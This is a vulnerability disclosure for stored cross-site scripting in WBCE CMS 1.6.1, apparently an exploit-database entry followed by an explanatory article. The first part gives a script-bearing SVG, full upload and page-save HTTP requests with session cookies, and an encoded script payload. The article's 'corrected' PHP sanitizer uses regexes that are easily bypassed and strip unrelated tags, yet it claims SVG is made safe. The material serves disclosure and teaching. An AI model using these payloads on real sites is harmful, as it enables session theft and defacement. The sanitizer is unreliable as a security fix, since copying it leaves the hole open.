WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS)
Exploit Title: WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS)
Version: 1.6.1
Bugs: XSS
Technology: PHP
Vendor URL: https://wbce-cms.org/
Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
Date of found: 03-05-2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
###XSS-1###
steps:
1. Go to media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/)
2. upload malicious svg file
svg file content ===>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
poc request:
POST /WBCE_CMS-1.6.1/wbce/modules/elfinder/ef/php/connector.wbce.php HTTP/1.1
Host: localhost
Content-Length: 976
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-platform: "Linux"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5u4r3pOGl4EnuBtO
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060167
Connection: close
------WebKitFormBoundary5u4r3pOGl4EnuBtO
Content-Disposition: form-data; name="reqid"
187de34ea92ac
------WebKitFormBoundary5u4r3pOGl4EnuBtO
Content-Disposition: form-data; name="cmd"
upload
------WebKitFormBoundary5u4r3pOGl4EnuBtO
Content-Disposition: form-data; name="target"
l1_Lw
------WebKitFormBoundary5u4r3pOGl4EnuBtO
Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
------WebKitFormBoundary5u4r3pOGl4EnuBtO
Content-Disposition: form-data; name="mtime[]"
1683056102
------WebKitFormBoundary5u4r3pOGl4EnuBtO--
3. go to svg file (http://localhost/WBCE_CMS-1.6.1/wbce/media/SVG_XSS.svg)
========================================================================================================================
###XSS-2###
1. go to pages (http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages)
2. add page
3. write page source content <script>alert(4)</script> (%3Cscript%3Ealert%284%29%3C%2Fscript%3E)
payload: %3Cscript%3Ealert%284%29%3C%2Fscript%3E
poc request:
POST /WBCE_CMS-1.6.1/wbce/modules/wysiwyg/save.php HTTP/1.1
Host: localhost
Content-Length: 143
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages/modify.php?page_id=4
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060475
Connection: close
page_id=4§ion_id=4&formtoken=6071e516-6ea84938ea2e60b811895c9072c4416ab66ae07f&content4=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&modify=Save
4. view pages http://localhost/WBCE_CMS-1.6.1/wbce/pages/hello.php WBCE CMS 1.6.1 – Multiple Stored Cross-Site Scripting (XSS) Vulnerabilities: A Deep Dive
WBCE CMS, a lightweight and open-source content management system built on PHP, has long been praised for its simplicity and extensibility. However, in May 2023, a critical security flaw was disclosed in version 1.6.1, exposing users to multiple stored Cross-Site Scripting (XSS) vulnerabilities. This article explores the technical details, exploitation methods, real-world implications, and mitigation strategies for this issue.
Understanding Stored XSS in WBCE CMS
Stored XSS occurs when malicious scripts are permanently saved on a server and executed whenever a user accesses the affected content. Unlike reflected XSS, which relies on user input in URLs, stored XSS is far more dangerous because it persists across sessions and can compromise all users who view the vulnerable content.
In the case of WBCE CMS 1.6.1, the vulnerability stems from insufficient sanitization of uploaded files—specifically, SVG (Scalable Vector Graphics) files—within the media management module. The system fails to properly validate or sanitize script content embedded in SVG files, allowing attackers to embed malicious JavaScript directly into the file.
Exploitation Scenario: SVG-Based XSS
Attackers can leverage the media upload functionality to upload a malicious SVG file that contains embedded JavaScript. Once uploaded, the file is stored on the server and rendered when accessed via the frontend, executing the script in the victim’s browser.
alert(document.location);
This SVG file contains a simple alert(document.location) script. While harmless in testing, it demonstrates how malicious code can be embedded in a seemingly innocent file. When the SVG is rendered in a browser, the script executes immediately, proving the stored XSS vulnerability.
Technical Breakdown of the Attack Vector
The attack exploits the elfinder file manager module used in WBCE CMS. The connector.wbce.php script handles file uploads and processes the uploaded data without proper input validation. The key flaw lies in the lack of filtering for <script> tags and other executable content in SVG files.
When a user uploads the malicious SVG file via the POST /wbce/modules/elfinder/ef/php/connector.wbce.php endpoint, the server accepts and stores the file as-is, without sanitizing the embedded script. This allows the malicious code to persist in the database and be rendered whenever the file is accessed.
Attack Chain: From Upload to Execution
- Step 1: Access the media upload interface at
http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/. - Step 2: Upload the malicious SVG file containing a
<script>tag. - Step 3: The file is stored in the server’s media directory and indexed in the database.
- Step 4: When any user (including administrators) views the uploaded SVG file, the browser renders it and executes the embedded JavaScript.
This chain demonstrates how a single upload can lead to widespread execution of malicious code across multiple users, making this a high-risk vulnerability.
Real-World Impact and Threat Model
Stored XSS in WBCE CMS 1.6.1 poses several serious risks:
| Threat | Description |
|---|---|
| Session Hijacking | Malicious scripts can steal cookies, session tokens, or CSRF tokens, allowing attackers to impersonate users. |
| Phishing | Attackers can redirect users to fake login pages or inject fake forms that capture credentials. |
| Defacement | Scripts can modify page content, inject ads, or replace branding, damaging trust and reputation. |
| Malware Delivery | JavaScript can load external malicious scripts or initiate downloads, leading to infection. |
Given that WBCE CMS is often used for small to medium websites, including blogs, community portals, and internal tools, this vulnerability could compromise sensitive data and user trust across multiple sites.
Security Best Practices and Mitigation
Developers and administrators must implement strict file upload validation to prevent stored XSS. Key recommendations include:
- File Type Validation: Restrict uploads to known safe formats (e.g., PNG, JPEG) and reject SVG files unless explicitly allowed.
- Content Sanitization: Use libraries like DOMPurify or custom filters to remove
<script>,<iframe>, and other dangerous elements from SVG files. - Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and external script loading.
- File Inspection: Before storing, scan uploaded files for embedded scripts using regex or parser-based checks.
- Regular Updates: Always upgrade to the latest stable version. The vulnerability was fixed in later releases; users should upgrade immediately.
Corrected Code Example: Safe SVG Handling
Here’s a sample of how the upload handler should be modified to prevent XSS:
// Example: Sanitizing SVG content before storage
function sanitize_svg($content) {
// Remove all script tags and event handlers
$content = preg_replace('/<script[^>]*>.*?<\/script>/is', '', $content);
$content = preg_replace('/<[^>]*on[^>]*[^>]*>/is', '', $content);
// Remove embedded JavaScript in attributes
$content = preg_replace('/javascript:[^>]*[^>]*>/is', '', $content);
return $content;
}
// Usage in upload handler
$uploaded_content = sanitize_svg($uploaded_content);
// Store sanitized content only
This sanitization function removes <script> tags and event handlers like onload, onclick, and javascript: URLs. It ensures that even if an SVG file contains malicious code, it is stripped before storage.
Conclusion
The WBCE CMS 1.6.1 stored XSS vulnerability highlights a critical oversight in file upload handling—particularly for SVG files, which are inherently capable of embedding executable content. While the attack is relatively simple to exploit, its impact is severe, affecting user sessions, data integrity, and overall system trust.
Administrators must prioritize patching, implement strict file validation, and adopt security-by-design principles. This incident serves as a reminder: even seemingly benign file types like SVG can become vectors for sophisticated attacks if not properly managed.